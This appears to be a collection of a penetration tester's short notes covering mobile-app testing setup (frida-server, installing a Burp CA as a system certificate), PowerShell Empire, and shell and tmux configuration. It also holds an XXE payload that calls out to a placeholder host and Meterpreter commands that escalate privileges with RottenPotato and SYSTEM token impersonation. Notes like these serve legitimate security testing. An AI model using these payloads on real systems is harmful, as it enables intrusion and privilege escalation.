castexyz

extract the ipa
copy the AppName.app into the device /Applications/
cd /Applications/AppName.app
chmod +x AppName
uicache --all

castexyz

wget https://github.com/frida/frida/releases/download/12.7.0/frida-server-12.7.0-android-arm64.xz
unxz frida-server-12.7.0-android-arm64.xz
mv frida-server-12.7.0-android-arm64 frida-server
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server
adb shell "/data/local/tmp/frida-server &

frida -U -f packagename

castexyz

on rooted devices we have to install burp certificate as SYSTEM like this:
1.	Export burp certificate and convert it to pem
a.	openssl x509 -inform DER -in cacert.der -out cacert.pem
2.	output the subject_hash_old and rename the file:
a.	openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1
b.	mv cacert.pem <hash>.0
3.	Copy the certificate to the device 
a.	adb push <hash>.0 /sdcard/
b.	Adb shell

castexyz

1) apt install pyinstaller
2) follow instructions here http://www.powershellempire.com/?page_id=110

castexyz

Change to zsh + ohmyzsh

chsh -s $(which zsh)
reboot
sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Install chromium

apt-get install chromium

castexyz

# remap prefix from 'C-b' to 'C-a'
unbind C-b
set-option -g prefix C-a
bind-key C-a send-prefix

#QOL
set -g history-limit 10000
set-option -g allow-rename off

#JOIN WINDOWS

castexyz

Introduction

• C-a == Ctrl-a
• M-a == Alt-a

General

:q        close
:w        write/saves
:wa[!]    write/save all windows [force]
:wq       write/save and close

castexyz

General

tmux new -s NAME      Create new session
tmux ls               List sessions
tmux attach -t NAME   Attach to session

Shortcuts

Ctrl+b(default) Prefix Key

castexyz

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

castexyz

load incognito
execute -f rottenpotato.exe -Hc
impersonate_token "NT Authority\\SYSTEM"